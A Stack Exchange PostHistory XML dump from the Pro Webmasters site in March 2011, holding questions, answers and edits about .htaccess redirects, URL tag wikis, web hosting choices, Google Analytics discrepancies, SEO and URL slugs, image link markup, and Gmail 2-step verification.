  <row Id="24187" PostHistoryTypeId="5" PostId="10603" RevisionGUID="a5ec6c8e-6b7f-4976-894b-7ba8b2970af4" CreationDate="2011-03-16T18:27:33.183" UserId="108" Comment="deleted 15 characters in body" Text="I have a link that's currently formatted like this:&#xD;&#xA;&#xD;&#xA;    http://site.com/news/view/1.html&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;I want to it redirect it to:&#xD;&#xA;&#xD;&#xA;    http://site.com/خبر/عنوان-الخبر&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;Where خبر is equal to &quot;news&quot;, and &quot;عنوان-الخبر&quot; is the title of the news page.&#xD;&#xA;&#xD;&#xA;I want do it using .htaccess, and provide a permanent 301 redirect for the old URLs.&#xD;&#xA;&#xD;&#xA;Do I need to edit the PHP source at all to accomplish this?&#xD;&#xA;&#xD;&#xA;Regards,&#xD;&#xA; " />
  <row Id="24188" PostHistoryTypeId="5" PostId="10769" RevisionGUID="70377d30-c338-48b7-82d1-ffdfdcb3ab9e" CreationDate="2011-03-16T18:28:18.330" UserId="4142" Comment="added 2130 characters in body" Text="## What is a URL? ##&#xD;&#xA;&#xD;&#xA;A **URL**, or **Uniform Resource Locator**, is an address for a file or resource that specifies where that resource is, and how to go about retrieving it.&#xD;&#xA;&#xD;&#xA;The most common type of URL found on Pro Webmasters begin with `http://` and `https://`, which is used to locate a file on the World Wide Web. The main difference between the two is that `https://` indicates the connection will be encrypted using SSL.&#xD;&#xA;&#xD;&#xA;## What Kind of Questions Should Use The &quot;URL&quot; Tag? ##&#xD;&#xA;&#xD;&#xA;Any questions about URL formatting, syntax, or the SEO impact of the previous two topics would be appropriate to tag. If you mention an URL in your question, but it does not impact the overall question, this probably would not be an appropriate tag.&#xD;&#xA;&#xD;&#xA;## Example URL Questions ##&#xD;&#xA;&#xD;&#xA;These questions are good examples of what should be tagged with the URL tag.&#xD;&#xA;&#xD;&#xA; - [Facebook company pages, why some are simple urls and some are strange long urls?][1]&#xD;&#xA; - [Which Document Requires A Single Uri For Web Resources?][2]&#xD;&#xA; - [Squeezing all the SEO out of a URL as possible.][3]&#xD;&#xA; - [Google analyzing URL][4]&#xD;&#xA; - [What does the double slash mean in URLs?][5]&#xD;&#xA;&#xD;&#xA;## Further Reading ##&#xD;&#xA;&#xD;&#xA;If you're looking for a more exhaustive explanation of what URLs are and how they're used, the Wikipedia article on [Uniform Resource Locators][6] is a good place to start. [RFC 1738 - Uniform Resource Locators (URL)][7] is also a huge source of information, albeit in a dry and highly technical format.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/6397/facebook-company-pages-why-some-are-simple-urls-and-some-are-strange-long-urls&#xD;&#xA;  [2]: http://webmasters.stackexchange.com/questions/9593/which-document-requires-a-single-uri-for-web-resources&#xD;&#xA;  [3]: http://webmasters.stackexchange.com/questions/9848/squeezing-all-the-seo-out-of-a-url-as-possible&#xD;&#xA;  [4]: http://webmasters.stackexchange.com/questions/8773/google-analyzing-url&#xD;&#xA;  [5]: http://webmasters.stackexchange.com/questions/8354/what-does-the-double-slash-mean-in-urls&#xD;&#xA;  [6]: http://en.wikipedia.org/wiki/Uniform_Resource_Locator&#xD;&#xA;  [7]: http://www.faqs.org/rfcs/rfc1738.html" />
  <row Id="24189" PostHistoryTypeId="24" PostId="10769" RevisionGUID="70377d30-c338-48b7-82d1-ffdfdcb3ab9e" CreationDate="2011-03-16T18:28:18.330" Comment="Proposed by 4142 approved by 108 edit id of 70" />
  <row Id="24190" PostHistoryTypeId="5" PostId="10770" RevisionGUID="c820ad91-c5ac-43e3-84a9-7ded18481f35" CreationDate="2011-03-16T18:29:03.150" UserId="4142" Comment="added 146 characters in body" Text="A URL, or Uniform Resource Locator, is an address for a file or resource that specifies where that resource is, and how to go about retrieving it." />
  <row Id="24191" PostHistoryTypeId="24" PostId="10770" RevisionGUID="c820ad91-c5ac-43e3-84a9-7ded18481f35" CreationDate="2011-03-16T18:29:03.150" Comment="Proposed by 4142 approved by 108 edit id of 71" />
  <row Id="24192" PostHistoryTypeId="2" PostId="10773" RevisionGUID="d119c578-b0b5-46ce-be98-a866d18d4540" CreationDate="2011-03-16T18:38:49.817" UserId="576" Text="The [Digital Inspiration website achieved 60% cost saving][1] over regular hosting charges by moving static files including images to Amazon's S3 storage service. You could compare the features &amp; charges of Amazon's service with other cloud storage services &amp; consider moving all your images to a cloud-based storage service.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.labnol.org/internet/host-images-files-on-amazon-s3-storage/4923/" />
  <row Id="24193" PostHistoryTypeId="2" PostId="10774" RevisionGUID="c45610e0-e8e2-4d43-a893-39c90e039151" CreationDate="2011-03-16T18:51:33.473" UserId="576" Text="Considering the [huge performance improvements][1] in [Bing Maps AJAX map control version 7][2], it is one more option that you can explore to [build a custom mapping app][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.bing.com/community/site_blogs/b/maps/archive/2011/03/09/bing-maps-v-7-tops-the-ajax-performance-charts.aspx&#xD;&#xA;  [2]: http://www.microsoft.com/maps/&#xD;&#xA;  [3]: http://www.microsoft.com/maps/product/licensing.aspx" />
  <row Id="24197" PostHistoryTypeId="2" PostId="10776" RevisionGUID="11834d41-e6af-49ae-a48e-4ce887eb3a8f" CreationDate="2011-03-16T19:41:49.603" UserId="3590" Text="a question about appearing in search results in google:&#xD;&#xA;&#xD;&#xA;A page of mine has this extremely unique page title:&#xD;&#xA;&#xD;&#xA;***Ein gutes Logo passt wie ein Handschuh auf Ihre Marke in die Hände***&#xD;&#xA;&#xD;&#xA;Now, when I search the phrase:&#xD;&#xA;&#xD;&#xA;`Ein gutes Logo passt wie ein Handschuh auf Ihre Marke in die Hände`&#xD;&#xA;&#xD;&#xA;Then all kinds of other irrelevant pages show up having only 1 or at best two words from my unqie title appearing, although I have searched for the entire phrase! And when I search the phrase in between quotes:&#xD;&#xA;&#xD;&#xA;`&quot;Ein gutes Logo passt wie ein Handschuh auf Ihre Marke in die Hände&quot;`&#xD;&#xA;&#xD;&#xA;Then it finds 1 result, which is my page.&#xD;&#xA;&#xD;&#xA;What is going on? Why doesn't show the unique result without the quotes?&#xD;&#xA;&#xD;&#xA;Thanks: your ideas and suggestions are welcome and much appreciated&#xD;&#xA;" />
  <row Id="24198" PostHistoryTypeId="1" PostId="10776" RevisionGUID="11834d41-e6af-49ae-a48e-4ce887eb3a8f" CreationDate="2011-03-16T19:41:49.603" UserId="3590" Text="Searching for a page with a Very Unique title, doesnt find that intended page... Why?" />
  <row Id="24199" PostHistoryTypeId="3" PostId="10776" RevisionGUID="11834d41-e6af-49ae-a48e-4ce887eb3a8f" CreationDate="2011-03-16T19:41:49.603" UserId="3590" Text="&lt;seo&gt;&lt;search-engines&gt;&lt;google-search&gt;&lt;search&gt;&lt;title&gt;" />
  <row Id="24200" PostHistoryTypeId="2" PostId="10777" RevisionGUID="271d0c3e-72fc-403c-8dad-b6fdff337704" CreationDate="2011-03-16T19:42:29.233" UserId="19" Text="I don't know the exact nature of your social network, but I will just throw this into the pool of answers.&#xD;&#xA;&#xD;&#xA;[**SWFUpload**][1] is a flash &amp; javascript based file upload tool that now supports image resizing on the client side (before the file is even uploaded to the server).&#xD;&#xA;&#xD;&#xA;This could reduce storage space and server processing time.&#xD;&#xA;&#xD;&#xA;Again, might not work for you, but for some folks it may be an option.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/p/swfupload/" />
  <row Id="24201" PostHistoryTypeId="2" PostId="10778" RevisionGUID="932e3fd9-9dfc-45f5-a6ed-910a1c4ac19c" CreationDate="2011-03-16T19:59:47.227" UserId="1253" Text="First let me say I'm surprised by the results as that phrase is so unique that I would think an exact match would trump everything but that clearly is not the case. Then again, without quotes it is assumed you are not necessarily looking for an exact match  and it's very possible other important words or phrases in that original text may simply grab precedence.&#xD;&#xA;&#xD;&#xA;Having said that, the text itself is not the only ranking factor. This is a perfect example of that. The anchor text of incoming links to those other pages, content on those pages, PR of those pages, etc, all add up to be stronger then the exact match of the text. If you're ranked well, just not ahead of those pages, it may not take much to get you to outrank them. Possibly just a few links with that anchor might do it." />
  <row Id="24202" PostHistoryTypeId="25" PostId="10776" RevisionGUID="861e5822-e9cb-48bd-8f36-968832c4f213" CreationDate="2011-03-16T20:30:22.123" Comment="http://twitter.com/#!/StackWebmasters/status/48118932363677696" />
  <row Id="24203" PostHistoryTypeId="2" PostId="10779" RevisionGUID="34a17ffd-204a-4556-9d39-20f1f8c9818d" CreationDate="2011-03-16T21:15:40.557" UserId="6028" Text="Joel,&#xD;&#xA;&#xD;&#xA;Once you declare `&lt;!doctype html&gt;` it's considered HTML5 thus you can omit the XHTML `xmlns`. I'd try to explain it but it looks like Dive Into Mark website does it spectacularly. Scroll down 'The Root Element' section. [http://diveintohtml5.org/semantics.html][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://diveintohtml5.org/semantics.html" />
  <row Id="24204" PostHistoryTypeId="6" PostId="10757" RevisionGUID="48038d96-0c6b-427f-933f-7cfe7d9e07fc" CreationDate="2011-03-16T23:04:03.860" UserId="1588" Comment="edited tags" Text="&lt;facebook&gt;&lt;search&gt;&lt;optimization&gt;" />
  <row Id="24205" PostHistoryTypeId="2" PostId="10780" RevisionGUID="6dab82f3-b499-4e6b-9e5b-7a2e7ff9258c" CreationDate="2011-03-16T23:26:35.050" UserId="6134" Text="We build a webapp that allows users to run the app under their own subdomain.  So we run the app under search.domainX.com, search.domainY.com and so on.  They each have their own Google Analytics to track individual stats.  But we want to know what general traffic for all clients of our app.  So we want to know stuff like &quot;among all our clients we had x number of views.&quot;  What is the best way tool to track that sort of thing." />
  <row Id="24206" PostHistoryTypeId="1" PostId="10780" RevisionGUID="6dab82f3-b499-4e6b-9e5b-7a2e7ff9258c" CreationDate="2011-03-16T23:26:35.050" UserId="6134" Text="Best stats tool for cross-domain traacking" />
  <row Id="24207" PostHistoryTypeId="3" PostId="10780" RevisionGUID="6dab82f3-b499-4e6b-9e5b-7a2e7ff9258c" CreationDate="2011-03-16T23:26:35.050" UserId="6134" Text="&lt;analytics&gt;&lt;tracking&gt;&lt;statistics&gt;" />
  <row Id="24208" PostHistoryTypeId="25" PostId="10780" RevisionGUID="54d82408-b14a-4958-bb48-31ee03f35ca7" CreationDate="2011-03-16T23:30:22.270" Comment="http://twitter.com/#!/StackWebmasters/status/48164229785722880" />
  <row Id="24209" PostHistoryTypeId="2" PostId="10781" RevisionGUID="e92eb6d8-1e8e-4b8e-96d9-4b8f23312be5" CreationDate="2011-03-17T00:13:41.107" UserId="4387" Text="I find judging VPS performance and quality very hard. It’s like shared hosting, you have little control how they run their servers, how much overselling they do and how much guaranteed IO bandwidth you get. Although a good VPS provider could offer failover infrastructure.&#xD;&#xA;&#xD;&#xA;But if price is your main concern, I would just go for an unmanaged dedicated hosting. With today’s low prices there is not much difference in price compared to a good VPS. The server specs of those dedicated servers will give you a much more reliable prediction of the performance you will get. &#xD;&#xA;&#xD;&#xA;Pricing example: Hetzner in Germany only asks [50 Euro/Month][1] for an Intel Core i7-920 with 8GB RAM.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.hetzner.de/en/hosting/produkte_rootserver/eq4" />
  <row Id="24211" PostHistoryTypeId="2" PostId="10782" RevisionGUID="385b84ba-3997-49aa-8fb1-42865e4e20bc" CreationDate="2011-03-17T01:34:20.383" UserId="5148" Text="Are you sure you can't not use CSS styles for some headers? Maybe with background image? And add some real visible text as well? If you tweak the design a little? There must be some place in your design where you can add some body text and a header? At least in sub pages. Depending on competition that *may* be enough since a restaurant website is very local. I too would probably also prioritize on making an enticing design showing the restaurant or whatever." />
  <row Id="24212" PostHistoryTypeId="2" PostId="10783" RevisionGUID="2fb1e4f9-10a9-4d74-80d3-c4adf802dbf1" CreationDate="2011-03-17T01:37:26.353" UserId="5148" Text="Are you 100% sure it's necessary? Bad repuation requires you did some outright nasty black hat seo and spam'ish stuff, and not just poor design, adding/removing pages etc.&#xD;&#xA;&#xD;&#xA;Most likely, all problems with google will resolve themselves over time as they crawl your content and good backlinks to it." />
  <row Id="24213" PostHistoryTypeId="25" PostId="10752" RevisionGUID="b338c386-00e7-47b6-9461-596c16e096d5" CreationDate="2011-03-17T02:30:23.097" Comment="http://twitter.com/#!/StackWebmasters/status/48209532396122113" />
  <row Id="24214" PostHistoryTypeId="2" PostId="10784" RevisionGUID="b1a485ba-ae24-471a-b6d2-f320a7796ab5" CreationDate="2011-03-17T03:16:07.850" UserId="5322" Text="Linode is one of the better one's &#xD;&#xA;&#xD;&#xA;http://www.linode.com/&#xD;&#xA;&#xD;&#xA;That's where I've recently started with my first VPS. &#xD;&#xA;&#xD;&#xA;Media Temple is another one&#xD;&#xA;&#xD;&#xA;http://mediatemple.net/" />
  <row Id="24215" PostHistoryTypeId="2" PostId="10785" RevisionGUID="cab123a8-daa8-445f-847b-29c5ce495eac" CreationDate="2011-03-17T03:22:17.167" UserId="6109" Text="Is it generally considered a good or bad idea to put GoogleAds or the like on a web site that is selling items online? In other words, should one run the risk of having the competition appear in these ads or not?" />
  <row Id="24216" PostHistoryTypeId="1" PostId="10785" RevisionGUID="cab123a8-daa8-445f-847b-29c5ce495eac" CreationDate="2011-03-17T03:22:17.167" UserId="6109" Text="Adverts on a mercantile site: good or bad?" />
  <row Id="24217" PostHistoryTypeId="3" PostId="10785" RevisionGUID="cab123a8-daa8-445f-847b-29c5ce495eac" CreationDate="2011-03-17T03:22:17.167" UserId="6109" Text="&lt;advertising&gt;&lt;ecommerce&gt;&lt;google-adsense&gt;" />
  <row Id="24218" PostHistoryTypeId="25" PostId="10785" RevisionGUID="ff68a173-1e84-44f0-bb5e-23ca11f32e4e" CreationDate="2011-03-17T05:30:23.287" Comment="http://twitter.com/#!/StackWebmasters/status/48254832573820928" />
  <row Id="24219" PostHistoryTypeId="2" PostId="10786" RevisionGUID="71a47b61-07e0-4807-9c17-6f7702e03ec5" CreationDate="2011-03-17T07:03:16.887" UserId="1064" Text="If your marginal revenue is less than the amount earned on a click, probably not... but, if that were the case, there doesn't seem to be much sense in running a shop to begin with." />
  <row Id="24221" PostHistoryTypeId="2" PostId="10788" RevisionGUID="f1a686da-6a8e-49ad-aac0-91bbc84f2da8" CreationDate="2011-03-17T08:05:38.040" UserId="6141" Text="It is possible that Bing has adopted Google's scheme.&#xD;&#xA;&#xD;&#xA;Try this http://cn.bing.com/search?q=Hello+World%21+This+Is+the+New+Lifehacker&amp;go=&amp;form=QBLH&amp;qs=n&amp;sk=&#xD;&#xA;&#xD;&#xA;The first result is AJAX-enabled web page with &quot;#!&quot;." />
  <row Id="24222" PostHistoryTypeId="2" PostId="10789" RevisionGUID="62a7152c-4494-4834-a941-d2363e96ef4d" CreationDate="2011-03-17T08:18:25.457" UserId="5767" Text="I have a website using Google analytics but it is counting way to much.&#xD;&#xA;&#xD;&#xA;To test this i was logging all entry's to my database with time and IP address.&#xD;&#xA;&#xD;&#xA;My result for one day was:&#xD;&#xA;&#xD;&#xA;Google analytics:&#xD;&#xA;&#xD;&#xA;    Visits:                     4078&#xD;&#xA;    Absolute Unique Visitors:   3758&#xD;&#xA;&#xD;&#xA;My Database:&#xD;&#xA;&#xD;&#xA;    Visits:                      4182&#xD;&#xA;    Unique Visitors(Only by IP): 905&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I use the tracking option &quot;One domain with multiple subdomains&quot; because the website is accessible both on www.example.com and example.com.&#xD;&#xA;&#xD;&#xA;I'm i missing something or what could be wrong?&#xD;&#xA;" />
  <row Id="24223" PostHistoryTypeId="1" PostId="10789" RevisionGUID="62a7152c-4494-4834-a941-d2363e96ef4d" CreationDate="2011-03-17T08:18:25.457" UserId="5767" Text="Google analytics is counting way to much" />
  <row Id="24224" PostHistoryTypeId="3" PostId="10789" RevisionGUID="62a7152c-4494-4834-a941-d2363e96ef4d" CreationDate="2011-03-17T08:18:25.457" UserId="5767" Text="&lt;google-analytics&gt;" />
  <row Id="24225" PostHistoryTypeId="2" PostId="10790" RevisionGUID="0858460c-2688-46a2-8dc1-2ff9ed1995fa" CreationDate="2011-03-17T08:26:53.483" UserId="1689" Text="What is considered best practice (semantically) when using text with an image to link to an internal page or category?&#xD;&#xA;&#xD;&#xA;Option 1&#xD;&#xA;--&#xD;&#xA;&#xD;&#xA;    &lt;nav&gt;&#xD;&#xA;        &lt;a href=&quot;/kittens&quot;&gt;&#xD;&#xA;            &lt;img src=&quot;kittens.png&quot; /&gt;&#xD;&#xA;            &lt;span&gt;Kittens&lt;/span&gt;&#xD;&#xA;        &lt;/a&gt;&#xD;&#xA;        &lt;a href=&quot;/puppies&quot;&gt;&#xD;&#xA;            &lt;img src=&quot;puppies.png&quot; /&gt;&#xD;&#xA;            &lt;span&gt;Puppies&lt;/span&gt;&#xD;&#xA;        &lt;/a&gt;&#xD;&#xA;    &lt;/nav&gt;&#xD;&#xA;&#xD;&#xA;Option 2&#xD;&#xA;--&#xD;&#xA;&#xD;&#xA;    &lt;nav&gt;&#xD;&#xA;        &lt;a href=&quot;/kittens&quot; class=&quot;kittens&quot;&gt;Kittens&lt;/a&gt;&#xD;&#xA;        &lt;a href=&quot;/puppies&quot; class=&quot;puppies&quot;&gt;&lt;span&gt;Puppies&lt;/a&gt;&#xD;&#xA;    &lt;/nav&gt;&#xD;&#xA;&#xD;&#xA;where the CSS is defined:&#xD;&#xA;&#xD;&#xA;    a.kittens {&#xD;&#xA;        background-image:url(&quot;kittens.png&quot;);&#xD;&#xA;        width:40px;&#xD;&#xA;        height:60px;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    a.puppies {&#xD;&#xA;        background-image:url(&quot;puppies.png&quot;);&#xD;&#xA;        width:40px;&#xD;&#xA;        height:60px;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Should I use a styled background for the link, or an `&lt;img&gt;` inside the anchor element?" />
  <row Id="24226" PostHistoryTypeId="1" PostId="10790" RevisionGUID="0858460c-2688-46a2-8dc1-2ff9ed1995fa" CreationDate="2011-03-17T08:26:53.483" UserId="1689" Text="Linking with an image: Background vs &lt;img&gt;" />
  <row Id="24227" PostHistoryTypeId="3" PostId="10790" RevisionGUID="0858460c-2688-46a2-8dc1-2ff9ed1995fa" CreationDate="2011-03-17T08:26:53.483" UserId="1689" Text="&lt;links&gt;&lt;images&gt;&lt;html5&gt;" />
  <row Id="24228" PostHistoryTypeId="2" PostId="10791" RevisionGUID="35f55326-90d9-40ea-b1f9-7a1913b90afc" CreationDate="2011-03-17T08:29:36.053" UserId="1089" Text="The first thing I notice is that your database shows 905 unique visitors, but 4182 visits - if my understanding of visitors/visits is correct it means each unique visitor visited your site approximately 4 times. Unless you run a constantly updating news/sports/weather website this doesn't seem realistic to me.&#xD;&#xA;&#xD;&#xA;Compared to google's stats which show each visitor visited your site once, with a small number visiting more than once - this sounds more realistic to me.&#xD;&#xA;" />
  <row Id="24229" PostHistoryTypeId="25" PostId="10790" RevisionGUID="3575aae8-8a8b-46bf-9589-e75de323f71c" CreationDate="2011-03-17T08:30:22.547" Comment="http://twitter.com/#!/StackWebmasters/status/48300127718342656" />
  <row Id="24230" PostHistoryTypeId="2" PostId="10792" RevisionGUID="1f90c758-d3af-490a-b7ef-6960c4f0afb7" CreationDate="2011-03-17T08:52:49.697" UserId="2739" Text="If you have text within the link and the image is merely supporting the link, semantically **option one** would be better.&#xD;&#xA;&#xD;&#xA;If you did not have the text, option two - with appropriate `alt` attributes on the images - would be semantically better." />
  <row Id="24231" PostHistoryTypeId="2" PostId="10793" RevisionGUID="24160817-7638-45fd-92c9-14ee2a5f775c" CreationDate="2011-03-17T09:00:15.720" UserId="1643" Text="I assume that you have access to the servers behind the search.*.com domains. In that case you could just combine the log files for each domain into one big one. Then the question becomes &quot;which is the best tool for getting stats out of log files?&quot;, which is a separate question!" />
  <row Id="24232" PostHistoryTypeId="5" PostId="10792" RevisionGUID="69b955b6-9f6c-4fbb-8913-faccbf4d6ff7" CreationDate="2011-03-17T09:06:20.133" UserId="2739" Comment="Corrected answer" Text="If you have text within the link and the image is merely supporting the link, semantically **option two** would be better.&#xD;&#xA;&#xD;&#xA;If you did not have the text, option one - with appropriate `alt` attributes on the images - would be semantically better." />
  <row Id="24233" PostHistoryTypeId="5" PostId="10791" RevisionGUID="57700906-8c8f-4df2-843b-1271dd06a4fe" CreationDate="2011-03-17T09:37:01.753" UserId="1089" Comment="added 444 characters in body" Text="The first thing I notice is that your database shows 905 unique visitors, but 4182 visits - if my understanding of visitors/visits is correct it means each unique visitor visited your site approximately 4 times. Unless you run a constantly updating news/sports/weather website this doesn't seem realistic to me.&#xD;&#xA;&#xD;&#xA;Compared to google's stats which show each visitor visited your site once, with a small number visiting more than once - this sounds more realistic to me.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Update&#xD;&#xA;&#xD;&#xA;Googles definition of a visit: &#xD;&#xA;&#xD;&#xA;&quot;Visits represent the number of individual sessions initiated by all the visitors to your site. If a user is inactive on your site for 30 minutes or more, any future activity will be attributed to a new session. Users that leave your site and return within 30 minutes will be counted as part of the original session.&quot;&#xD;&#xA;&#xD;&#xA;http://www.google.com/support/analytics/bin/answer.py?hl=en&amp;answer=57164&#xD;&#xA;" />
  <row Id="24234" PostHistoryTypeId="2" PostId="10794" RevisionGUID="bcf4ee2a-5b06-4b28-9c3f-34e8b59a6edd" CreationDate="2011-03-17T09:45:20.507" UserId="908" Text="I've just started using [SEO Watcher](http://drupal.org/project/seowatcher), which is a module for Drupal. It tracks up to ten queries, will also show up to 5 competitors' positions, and creates nice graphs of the results. It currently only uses yahoo.com and google.com (though there's [a patch in the issue queue](http://drupal.org/node/981238#comment-3751218) to change that if you want). The biggest reason I chose it is because it's done in Drupal so I can easily modify it to fit my needs. Obviously you need a server somewhere to host it on." />
  <row Id="24238" PostHistoryTypeId="5" PostId="10792" RevisionGUID="d8f64dc1-75c4-49f4-8919-4c65991f6138" CreationDate="2011-03-17T10:36:37.353" UserId="2739" Comment="Added not about title attributes as suggested in the comments." Text="If you have text within the link and the image is merely supporting the link, semantically **option two** would be better.&#xD;&#xA;&#xD;&#xA;If you did not have the text, option one - with an appropriate `alt` attribute on the images - would be semantically better.&#xD;&#xA;&#xD;&#xA;*****edit***&#xD;&#xA;&#xD;&#xA;For improved accessibility (which is similar, but different to semantic mark-up) you would also want to include `title` attributes on the anchor `&lt;a&gt;` elements in both options.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24241" PostHistoryTypeId="2" PostId="10797" RevisionGUID="ca2f26b9-3c0c-4232-9890-aa01439b4c35" CreationDate="2011-03-17T11:06:37.653" UserId="6143" Text="Is there any way to restrict access to Gmail accounts from certain IP/MAC addresses ? For instance, can I setup Google Apps so that my users can access their GMail account from within the corporate firewall or from outside the firewall on a known machine, but not from a public browser or public machine.&#xD;&#xA;Or what would be best practice to prevent unauthorized access to corporate GMail accounts?" />
  <row Id="24242" PostHistoryTypeId="1" PostId="10797" RevisionGUID="ca2f26b9-3c0c-4232-9890-aa01439b4c35" CreationDate="2011-03-17T11:06:37.653" UserId="6143" Text="What is best practice for securing access to GMail for an enterprise ?" />
  <row Id="24243" PostHistoryTypeId="3" PostId="10797" RevisionGUID="ca2f26b9-3c0c-4232-9890-aa01439b4c35" CreationDate="2011-03-17T11:06:37.653" UserId="6143" Text="&lt;security&gt;&lt;google-apps&gt;&lt;best-practices&gt;&lt;gmail&gt;" />
  <row Id="24244" PostHistoryTypeId="2" PostId="10798" RevisionGUID="774744f0-b100-402f-8322-de6f0b05c551" CreationDate="2011-03-17T11:10:51.503" UserId="5739" Text="GMail has no IP or region restrictions.  What you could do though is enable 2-step verification to add further protection?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Settings -&gt; Accounts and Import -&gt; Change Account Settings -&gt; Other Google account settings -&gt; Using 2-step verification" />
  <row Id="24252" PostHistoryTypeId="25" PostId="10789" RevisionGUID="234740b0-de36-4323-8721-99db8e9afa3e" CreationDate="2011-03-17T11:30:23.000" Comment="http://twitter.com/#!/StackWebmasters/status/48345428202229760" />
  <row Id="24253" PostHistoryTypeId="2" PostId="10802" RevisionGUID="b16af542-abcc-4f75-b0de-b42e594d93ba" CreationDate="2011-03-17T11:36:53.410" UserId="3590" Text="A webpage about **Tomato Soup** has either of three following filenames:&#xD;&#xA;&#xD;&#xA;&gt;***Scenario 1***  &#xD;&#xA;website.org/en/tomato-soup&#xD;&#xA;&#xD;&#xA;or &#xD;&#xA;&#xD;&#xA;&gt;***Scenario 2***  &#xD;&#xA;website.org/en/tomato-soup-healthy-soups-recipes&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;&gt;***Scenario 3***  &#xD;&#xA;website.org/en/tomato-why-sandra-is-so-wild-about-her-healthy-tomato-soup-recipes&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Q1. Which one of the abobe would You go for?  &#xD;&#xA;Q2. Which one of these would be ranked as most relevant by google?  &#xD;&#xA;Q3. Would either of these be penalized for keyword stuffing?&#xD;&#xA;" />
  <row Id="24254" PostHistoryTypeId="1" PostId="10802" RevisionGUID="b16af542-abcc-4f75-b0de-b42e594d93ba" CreationDate="2011-03-17T11:36:53.410" UserId="3590" Text="3 Scenarios for most relevant keywords in website. Which one is best?" />
  <row Id="24255" PostHistoryTypeId="3" PostId="10802" RevisionGUID="b16af542-abcc-4f75-b0de-b42e594d93ba" CreationDate="2011-03-17T11:36:53.410" UserId="3590" Text="&lt;seo&gt;&lt;google&gt;&lt;web-development&gt;&lt;keywords&gt;&lt;optimization&gt;" />
  <row Id="24256" PostHistoryTypeId="5" PostId="10798" RevisionGUID="ed9c50df-dc30-4082-9efb-cf1fe2c4c817" CreationDate="2011-03-17T11:39:30.450" UserId="5739" Comment="EDIT: Added further info I have learnt about having to enable this at domain level and on a per user basis." Text="GMail has no IP or region restrictions. What you could do though is enable 2-step verification to add further protection?&#xD;&#xA;&#xD;&#xA;This requires two steps in setting up, one at the domain level:&#xD;&#xA;&#xD;&#xA;   1. Go to your Google Apps administrator control panel.&#xD;&#xA;   2. Click the Advanced tools tab.&#xD;&#xA;   3. Under Authentication &gt; 2-step verification, check Allow users to turn on 2-factor authentication.&#xD;&#xA;&#xD;&#xA;And the other on a per user basis:&#xD;&#xA;&#xD;&#xA;Settings -&gt; Accounts and Import -&gt; Change Account Settings -&gt; Other Google account settings -&gt; Using 2-step verification&#xD;&#xA;&#xD;&#xA;NOTE: The users have to manually opt-in even if you have this enabled at the domain level." />
  <row Id="24257" PostHistoryTypeId="2" PostId="10803" RevisionGUID="804a68ba-2f39-4e0a-b8d7-13d340529e8c" CreationDate="2011-03-17T11:45:33.960" UserId="2490" Text="[Arvixe][1] is pretty good&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.arvixe.com/1042-40.html" />
  <row Id="24258" PostHistoryTypeId="2" PostId="10804" RevisionGUID="a1abc78f-2d30-407f-a730-42ff3b03db44" CreationDate="2011-03-17T11:47:44.520" UserId="1253" Text="1) Depends on the what the content is. That's how you determine what the title should be. , #3 is best assuming it is about Sandra's healthy tomato soup recipes, and not the recipes themselves. Those rcipes should have title like:&#xD;&#xA;&#xD;&#xA;    website.org/en/tomato-soup-recipes/healthy-chicken-broth&#xD;&#xA;    website.org/en/tomato-soup-recipes/peas-and-broccoli&#xD;&#xA;&#xD;&#xA;2) That can't be said because relevance depends on what the search term is. That's what &quot;relevant&quot; means.&#xD;&#xA;&#xD;&#xA;3) No." />
  <row Id="24259" PostHistoryTypeId="2" PostId="10805" RevisionGUID="6316abda-c351-44e8-92eb-dc5e9ff67be8" CreationDate="2011-03-17T11:49:52.380" UserId="2490" Text="I can recommend you [Arvixe][1]. They give you IIS7, .Net4, SQL2008, MVC, and full trust, so it's good for .net skill demonstration. &#xD;&#xA;Moreover they give you PHP together with .NET. You should purchase the PersonalClassASP package, it will have PHP installed already.&#xD;&#xA;I use them, I'm very satisfied.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.arvixe.com/1042-3-3-3.html" />
  <row Id="24262" PostHistoryTypeId="5" PostId="10804" RevisionGUID="a5605ad2-4f2d-4752-9401-120efefba8bd" CreationDate="2011-03-17T12:00:59.760" UserId="1253" Comment="added 20 characters in body; deleted 27 characters in body; added 105 characters in body" Text="1) Depends on the what the content is. That's how you determine what the title should be. , #3 is best assuming it is about Sandra's healthy tomato soup recipes, and not the recipes themselves. Those recipes should have titles like:&#xD;&#xA;&#xD;&#xA;    website.org/en/recipes/healthy-chicken-broth&#xD;&#xA;    website.org/en/recipes/tomato-soup&#xD;&#xA;    website.org/en/nutrition/tomato-soup&#xD;&#xA;&#xD;&#xA;2) Relevance depends on what the search term is. My second example above would be the most relevant for &quot;tomato soup recipes&quot;. The second and third would be both relevant for &quot;tomato soup&quot;.&#xD;&#xA;&#xD;&#xA;3) No." />
